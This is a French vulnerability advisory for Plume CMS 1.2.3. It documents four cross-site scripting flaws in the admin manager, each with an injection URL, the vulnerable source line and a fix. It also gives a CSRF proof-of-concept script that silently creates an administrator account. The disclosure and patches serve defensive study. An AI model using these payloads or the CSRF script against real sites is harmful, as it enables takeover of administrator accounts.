PLUME CMS 1.2.3

ANALYSE DE CODE

19. Novembre 2009

http://europasecurity.org

PHPLizardo

TABLE DES MATIÈRES

INTRODUCTION

PRÉSENTATION DE PLUME CMS

"Si vous cherchez un système de gestion du contenu d'un site Web qui soit simple à utiliser sans sacrifier la flexibilité et la puissance, vous êtes peut-être sur la bonne voie. Plume CMS s'installe avec un simple script sur la majorité des systèmes, essayez-le ! L'installation est tellement rapide que vous allez regretter que tous les scripts ne disposent pas de ce type de procédure." **pxsystem.sourceforge.net**

MISE EN GARDE

Ce document est livré en tant que tel sans aucune garantie de fonctionnement des méthodes exposées. De plus, il est rappelé que tout ce que vous pourrez appendre durant votre lecture n'est pas à appliquer à des fins néfastes telles que la destruction de sites internet ne vous appartenant pas.

FAILLES DE SÉCURITÉ

01. CROSS-SITE SCRIPTING

DESCRIPTION

Une faille XSS est présente dans l'interface d'administration au niveau du module d'aide. Le paramètre mode est faillible aux injections de code javascript.

PREUVE DE CONCEPT

```
./manager/help.php?c=article&mode="><script>alert(0)</script>
```

CODE SOURCE

Chemin : **./manager/help.php**

Ligne **32** :

```
$mode = (!empty($_REQUEST['mode'])) ? $_REQUEST['mode'] : '';
```

CORRECTION

Chemin : **./manager/help.php**

Ligne **32** :

```
$mode=(!empty($_REQUEST['mode']))?htmlspecialchars($_REQUEST['mode']) : '';
```

02. CROSS-SITE SCRIPTING

DESCRIPTION

Présence d'une faille XSS dans le gestionnaire de fichiers xmedia. Le paramètre mode est faillible aux injections de code javascript.

PREUVE DE CONCEPT

```
./manager/xmedia.php?dir=/&mode="><script>alert(0)</script>
```

CODE SOURCE

Chemin : **./manager/xmedia.php**

Ligne **45** :

```
$mode = (!empty($_REQUEST['mode'])) ? REQUEST['mode'] : '';
```

CORRECTION

Chemin : **./manager/xmedia.php**

Ligne **45** :

```
$mode=(!empty($_REQUEST['mode']))?htmlspecialchars($_REQUEST['mode']) : '';
```

03. CROSS-SITE SCRIPTING

DESCRIPTION

Présence d'une faille XSS générale du manager. Tous les modules et toutes les pages sont touchées. Il est bon de noter que les développeurs du n'ont probablement pas correctement pensé ce système de messages car ils utilisent eux même parfois du html dans la variable msg. L'application du patch que je fournis ci-dessous va donc alterer l'affichage de leur code html. Ils sont donc invités à revoir ce système.

PREUVE DE CONCEPT

```
./manager/tools.php?p=info&msg=<script>alert(0)</script>

./manager/tools.php?p=link&msg=<script>alert(0)</script>

...
```

CODE SOURCE

Chemin : **./manager/mtemplates/_top.php**

Lignes **60 à 72** :

```
<?php

if(!empty($_GET['msg'])) {
    $msg = $_GET['msg'];
} else {
    $msg = $m->getMessage();
}
if (!empty($msg)) {
    echo '<p class="message">'.$msg.'</p>';
}
if (false !== ($px_error = $m->error(true, false)) )
    echo "\n\n" . $px_error . "\n\n";
?>
```

CORRECTION

Chemin : **./manager/mtemplates/_top.php**

Ligne **68 (corrigée)** :

```
echo '<p class="message">'.htmlspecialchars($msg).'</p>';
```

04. CROSS-SITE SCRIPTING

DESCRIPTION

Présence d'une faille XSS dans le gestionnaire d'indexation. La variable env est faillible aux injections de code javascript.

PREUVE DE CONCEPT

```
./manager/tools.php?p=searchmng&env="><script>alert(0)</script>
```

CODE SOURCE

Chemin : **./manager/tools/searchmng/index.php**

Ligne **26** :

```
$env  = (!empty($_GET['env'])) ? $_GET['env'] : 1;
```

CORRECTION

Chemin : **./manager/tool/searchmng/index.php**

Ligne **26** :

```
$env  = (!empty($_GET['env'])) ? intval($_GET['env']) : 1;
```

05. CROSS-SITE REQUEST FORGERY

DESCRIPTION

Présence d'une faille de type CSRF sur la page permettant d'ajouter des utilisateurs au CMS. L'exploitation de cette faille permet de se créer un compte administrateur à l'insu du propriétaire.

PREUVE DE CONCEPT

```
<?php

    // Importation de la classe CSRForm
    // code.google.com/csrform
    include('CSRForm.class.php');


    $csrf = new CSRForm('myFormName',
                        'http://localhost/plume/manager/users.php',
                        'post');

    $csrf->createFormFields(array('u_username'          => 'Shadow',
                                  'u_realname'          => 'Shadow',
                                  'u_email'             => 'sh@d.ow',
                                  'u_pubemail'          => 'sh@d.ow',
                                  'u_password'          => 'shadow',
                                  'u_website_default'   => 9,
                                  'op'                  => 'add',
                                  'save'                => 'Enregistrer
[r]'));

    $csrf->displayPage();

?>
```

CORRECTION

Il est nécessaire d'implémenter une solution anti-csrf en utilisant par exemple des jetons de validité dans le formulaire. Pour plus d'informations à ce sujet, une petite recherche sur le web s'impose.

LIENS UTILES

- http://europasecurity.org
- http://www.plume-cms.net/

CRÉDITS

Une grosse bise à toute la communauté d'Europa Security.